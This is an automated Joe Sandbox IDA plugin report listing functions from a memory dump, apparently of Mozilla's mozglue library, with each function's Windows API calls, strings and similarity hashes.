Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: 2af988b79658badc319f7bf3b08ea78feacb022acc361aa2bf9e495f0539b358
Instruction ID: 40d692f39ccc7f9c4226b2a9791bf83c5503c7888cf781f8bd8ae2672a080827
Opcode Fuzzy Hash: 2af988b79658badc319f7bf3b08ea78feacb022acc361aa2bf9e495f0539b358
Instruction Fuzzy Hash: 46216731B0640197EE24FFE8C864ED977B1EB4633AB01452CE80167F80CB30B90286B2

Function 6C4BA7A0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C4DF770,-00000001,?,6C4CE330,?,6C47BDF7), ref: 6C4BA7AF
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,accelerator.dll,?,6C47BDF7), ref: 6C4BA7C2
moz_xmalloc.MOZGLUE(00000018,?,6C47BDF7), ref: 6C4BA7E4
LeaveCriticalSection.KERNEL32(6C4DF770), ref: 6C4BA80A

Strings

accelerator.dll, xrefs: 6C4BA7BF

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavemoz_xmallocstrcmp
String ID: accelerator.dll
API String ID: 2442272132-2426294810
Opcode ID: b3e9d15b95df3d4c2bf4e19ffa1aa12d6bf5e73fa992441557309557f58cfa56
Instruction ID: d77135e73ed7889474147236feaa854f965465ec728ec270eb9266a9e5a04a40
Opcode Fuzzy Hash: b3e9d15b95df3d4c2bf4e19ffa1aa12d6bf5e73fa992441557309557f58cfa56
Instruction Fuzzy Hash: A5018BB0A053049FEF04FF5AD884D91B7B8FF8A315705806AE8098B711DB70E800CBA1

Function 6C4B75B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C4B748B,?), ref: 6C4B75B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6C4B75D7
FreeLibrary.KERNEL32(?,6C4B748B,?), ref: 6C4B75EC

Strings

ntdll.dll, xrefs: 6C4B75B3
RtlNtStatusToDosError, xrefs: 6C4B75D1

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: 24e086019fb448adb28234ebc44fa2739c4fe1132fe6f6549464b6af64262b42
Instruction ID: 5600a2585e593235189d24b45a777fb1ce44f0c9b677ceeb2d7b94cb28d17028
Opcode Fuzzy Hash: 24e086019fb448adb28234ebc44fa2739c4fe1132fe6f6549464b6af64262b42
Instruction Fuzzy Hash: D4E0B671A06302ABFF10FFE2C948F857AF8EB06259F109435A915D6B40EBB1B042CF20

Function 6C4B7600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C4B7592), ref: 6C4B7608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6C4B7627
FreeLibrary.KERNEL32(?,6C4B7592), ref: 6C4B763C

Strings

NtUnmapViewOfSection, xrefs: 6C4B7621
ntdll.dll, xrefs: 6C4B7603

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: c66609feb308b254de131ae9b01beeb55b2e6c511e53f7474ec86934f99e775d
Instruction ID: aec160a436883308fe7e70ab3aadcb1d0f8f1c8f51b05be1c83f1da87494ebdb
Opcode Fuzzy Hash: c66609feb308b254de131ae9b01beeb55b2e6c511e53f7474ec86934f99e775d
Instruction Fuzzy Hash: B6E0BF70A45342ABEF10FFE5D808F417AB8E717359F004525E905D2740EB70B0008F24

Function 6C4BBE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,?,6C4BBE49), ref: 6C4BBEC4
RtlCaptureStackBackTrace.NTDLL ref: 6C4BBEDE
memset.VCRUNTIME140(00000000,00000000,-00000008,?,6C4BBE49), ref: 6C4BBF38
RtlReAllocateHeap.NTDLL ref: 6C4BBF83
RtlFreeHeap.NTDLL ref: 6C4BBFA6

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: a21d2cc5263037a754234ff75ebc51f5b3d7e953d5910d5b39d9cd4bac3ae323
Instruction ID: 6f21f388e0cc863eb936fe2af150a536b642dce02b04ae461c79ac212e443b30
Opcode Fuzzy Hash: a21d2cc5263037a754234ff75ebc51f5b3d7e953d5910d5b39d9cd4bac3ae323
Instruction Fuzzy Hash: 2A517C71B006058FE714CF69CDC0FAAB3A2FF88314F294629D555A7B94DB30F9068BA0

Function 6C4A8E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6C49B58D,?,?,?,?,?,?,?,6C4CD734,?,?,?,6C4CD734), ref: 6C4A8E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C49B58D,?,?,?,?,?,?,?,6C4CD734,?,?,?,6C4CD734), ref: 6C4A8EBF
free.MOZGLUE(?,?,?,?,6C49B58D,?,?,?,?,?,?,?,6C4CD734,?,?,?), ref: 6C4A8F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C49B58D,?,?,?,?,?,?,?,6C4CD734,?,?,?,6C4CD734), ref: 6C4A8F46
free.MOZGLUE(?,?,?,?,6C49B58D,?,?,?,?,?,?,?,6C4CD734,?,?,?), ref: 6C4A8F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C49B58D,?,?,?,?,?,?,?,6C4CD734,?,?,?), ref: 6C4A8F8F

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: adbf146f55fd25846c3863076391aa8c3b68bbadd10e21e43f2ad0100664215a
Instruction ID: 3275bc65f0eaea5887e008937d62ff4bd52e3abe02d9682f017f1866a321688e
Opcode Fuzzy Hash: adbf146f55fd25846c3863076391aa8c3b68bbadd10e21e43f2ad0100664215a
Instruction Fuzzy Hash: CC51B1B1A012568FEB11DF94D880FAEB7B2FB58304F15052AE916AB744E731F906CB91

Function 6C4A27E0 Relevance: 7.6, APIs: 6, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C4A2620,?,?,?,6C4960AA,6C495FCB,6C4979A3), ref: 6C4A284D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C4A2620,?,?,?,6C4960AA,6C495FCB,6C4979A3), ref: 6C4A289A
free.MOZGLUE(?,?,?,6C4A2620,?,?,?,6C4960AA,6C495FCB,6C4979A3), ref: 6C4A28F1
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C4A2620,?,?,?,6C4960AA,6C495FCB,6C4979A3), ref: 6C4A2910
free.MOZGLUE(00000001,?,?,6C4A2620,?,?,?,6C4960AA,6C495FCB,6C4979A3), ref: 6C4A293C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00200000,?,?,6C4A2620,?,?,?,6C4960AA,6C495FCB,6C4979A3), ref: 6C4A294E

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: a5924602074f513448726fe186818f4ae75d9a52a5528c5a7fdbe8d212cf472e
Instruction ID: 91b812e174f6e923f1826a3eb24a62a6f1be0da33acf26462fc4f7ad2e44d477
Opcode Fuzzy Hash: a5924602074f513448726fe186818f4ae75d9a52a5528c5a7fdbe8d212cf472e
Instruction Fuzzy Hash: 3441F3B1B002068FEB24CFA9D884F6A73F9AB55708F140539D95AEB744EB31E906CB51

Function 6C45CFE0 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 134memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C4DE784), ref: 6C45CFF6
LeaveCriticalSection.KERNEL32(6C4DE784), ref: 6C45D026
VirtualAlloc.KERNEL32(00000000,00100000,00001000,00000004), ref: 6C45D06C
VirtualFree.KERNEL32(00000000,00100000,00004000), ref: 6C45D139

Strings

MOZ_CRASH(), xrefs: 6C45D187

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: CriticalSectionVirtual$AllocEnterFreeLeave
String ID: MOZ_CRASH()
API String ID: 1090480015-2608361144
Opcode ID: f62ac3e5bfef96c8eee71046fb9873d3b7872e4d4172ddcb3a25ded4d50009e7
Instruction ID: 61eddc3777c30c3ab7ea9c1c519da54ec471709c32afeee321b3f5a054ed0b9f
Opcode Fuzzy Hash: f62ac3e5bfef96c8eee71046fb9873d3b7872e4d4172ddcb3a25ded4d50009e7
Instruction Fuzzy Hash: AB41AC72F012164FDB44EE6C8DD0FAAB6B0EF49714F550239EA18E7784D7A1AC018BC1

Function 6C454DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C454E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C454E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C454EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C454F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6C454F1E

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: 301f0f773b78759892fdea2da7edb6d4bbd471a9aa5ebb2876eacf7520dd5dbf
Instruction ID: 67c8b6024002540f2288bbf2c8a0c9eb9e018b52f9f6c7fdb6de0a056667cacd
Opcode Fuzzy Hash: 301f0f773b78759892fdea2da7edb6d4bbd471a9aa5ebb2876eacf7520dd5dbf
Instruction Fuzzy Hash: F641CC726087019FC705CF68C880E5BBBE4BF89394F509A2DF4659B750DB31E929CB81

Function 6C4BA820 Relevance: 7.6, APIs: 5, Instructions: 106stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C4DF770), ref: 6C4BA858
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C4BA87B

Part of subcall function 6C4BA9D0: memcpy.VCRUNTIME140(?,?,00000400,?,?,?,6C4BA88F,00000000), ref: 6C4BA9F1

_ltoa_s.API-MS-WIN-CRT-CONVERT-L1-1-0(?,?,00000020,0000000A), ref: 6C4BA8FF
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C4BA90C
LeaveCriticalSection.KERNEL32(6C4DF770), ref: 6C4BA97E

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: CriticalSectionstrlen$EnterLeave_ltoa_smemcpy
String ID:
API String ID: 1355178011-0
Opcode ID: c73187907201f3dc959fb1f8e00c13b9a72acfe43666dde8ebfae97d36c85991
Instruction ID: 39f961822a74bc6163ebcebf59e7db40e953416cdcf2ef9101fa5433bbd6f56c
Opcode Fuzzy Hash: c73187907201f3dc959fb1f8e00c13b9a72acfe43666dde8ebfae97d36c85991
Instruction Fuzzy Hash: 7841A4B4E002089FEB00EFA4D845FDDB771FF04324F148A19E826AB791D731A945DBA1

Function 6C461530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6C46152B,?,?,?,?,6C461248,?), ref: 6C46159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6C46152B,?,?,?,?,6C461248,?), ref: 6C4615BC
moz_xmalloc.MOZGLUE(-00000001,?,6C46152B,?,?,?,?,6C461248,?), ref: 6C4615E7
free.MOZGLUE(?,?,?,?,?,?,6C46152B,?,?,?,?,6C461248,?), ref: 6C461606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6C46152B,?,?,?,?,6C461248,?), ref: 6C461637

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: 469090d1d6bdf1cf2d3743d53db6f803c7aa434cedbf82b7b53a51bc3970c88d
Instruction ID: 1c360e7471c1c9c321ca78950a737ba2c0ba468342296d29321bad4def21cd1a
Opcode Fuzzy Hash: 469090d1d6bdf1cf2d3743d53db6f803c7aa434cedbf82b7b53a51bc3970c88d
Instruction Fuzzy Hash: C131D672A001148BCB18DE7DD851C6EB7A9AB813747240B2DE823DBFD8EB30D9158792

Function 6C4BAD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6C4CE330,?,6C47C059), ref: 6C4BAD9D

Part of subcall function 6C46CA10: malloc.MOZGLUE(?), ref: 6C46CA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6C4CE330,?,6C47C059), ref: 6C4BADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6C4CE330,?,6C47C059), ref: 6C4BAE01
GetLastError.KERNEL32(?,00000000,?,?,6C4CE330,?,6C47C059), ref: 6C4BAE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6C4CE330,?,6C47C059), ref: 6C4BAE3D

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: d0d8e04c407b8ffb3625955b67c73fd90f841f1511109c26e7dc02e1dfc7bc68
Instruction ID: 834dbc3c158b3a9082af4938777e7533970287fa36f377dc0237ee26c1ac0e84
Opcode Fuzzy Hash: d0d8e04c407b8ffb3625955b67c73fd90f841f1511109c26e7dc02e1dfc7bc68
Instruction Fuzzy Hash: 7E3141B1A002159FDB10EF798C44EABB7F8EF48614F15842DE84AE7710EB34E804CBA1

Function 6C4B5EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6C4CDCA0,?,?,?,6C48E8B5,00000000), ref: 6C4B5F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C48E8B5,00000000), ref: 6C4B5F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6C48E8B5,00000000), ref: 6C4B5F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6C48E8B5,00000000), ref: 6C4B5F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C48E8B5,00000000), ref: 6C4B5FD6

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: 7e5a70b1cb66046abc0cde9e287f0f84d82dff5f25bff309786a0f15f406ccbe
Instruction ID: 5e36b21779c7d3b403155cb14c3e9f4eccc2a1ec8b229ba9d70df58d645b6327
Opcode Fuzzy Hash: 7e5a70b1cb66046abc0cde9e287f0f84d82dff5f25bff309786a0f15f406ccbe
Instruction Fuzzy Hash: 503109343006008FD711DF29C898E2AF7F6FF89319B644558E5569BB95CB31EC41CB90

Function 6C45B4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6C45B532
moz_xmalloc.MOZGLUE(?), ref: 6C45B55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C45B56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6C45B57E
free.MOZGLUE(00000000), ref: 6C45B58F

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: eb174709742f67f56e2169fddd36353139da0d45cc733fa7e07454a37eeddfe5
Instruction ID: 562c37e14b34f78ee72ddb9048267ed738330aa7501e4762bb033ccbd7445f75
Opcode Fuzzy Hash: eb174709742f67f56e2169fddd36353139da0d45cc733fa7e07454a37eeddfe5
Instruction Fuzzy Hash: E2210771A002099BDB00DF68CC40FAABBB9FF46318F68412DE918DB345E735D921C7A1

Function 6C45B7A0 Relevance: 7.6, APIs: 5, Instructions: 77COMMON

Download Yara Rule

APIs

?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C45B7CF
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C45B808
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C45B82C
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C45B840
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C45B849

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: free$?vprint@PrintfTarget@mozilla@@mallocmemcpy
String ID:
API String ID: 1977084945-0
Opcode ID: 6f6677fc6a138daf791b9774e67d7529774a63cef4c08127a44cd6eeb0f37ff5
Instruction ID: 3da80c0ac93f385f9e2141983daa592af169afb4d419e22634c4d1579089cfae
Opcode Fuzzy Hash: 6f6677fc6a138daf791b9774e67d7529774a63cef4c08127a44cd6eeb0f37ff5
Instruction Fuzzy Hash: CA212BB4E002099FDF04DFA9C8859BEBBB4EF49214F148129E816A7341E731A954CBA1

Function 6C4B6E50 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C4B6E78

Part of subcall function 6C4B6A10: InitializeCriticalSection.KERNEL32(6C4DF618), ref: 6C4B6A68
Part of subcall function 6C4B6A10: GetCurrentProcess.KERNEL32 ref: 6C4B6A7D
Part of subcall function 6C4B6A10: GetCurrentProcess.KERNEL32 ref: 6C4B6AA1
Part of subcall function 6C4B6A10: EnterCriticalSection.KERNEL32(6C4DF618), ref: 6C4B6AAE
Part of subcall function 6C4B6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C4B6AE1
Part of subcall function 6C4B6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C4B6B15
Part of subcall function 6C4B6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6C4B6B65
Part of subcall function 6C4B6A10: LeaveCriticalSection.KERNEL32(6C4DF618,?,?), ref: 6C4B6B83

MozFormatCodeAddress.MOZGLUE ref: 6C4B6EC1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C4B6EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C4B6EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6C4B6EFF

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID:
API String ID: 4058739482-0
Opcode ID: f58c9ed60052ece838ba1180ae08c7f9d27d37531d6598262cdc9c55abd37669
Instruction ID: 4449cce72b2ed3007ddfcc8ba1d9e1ab6cbabdf71496dc01ca54e59101c77371
Opcode Fuzzy Hash: f58c9ed60052ece838ba1180ae08c7f9d27d37531d6598262cdc9c55abd37669
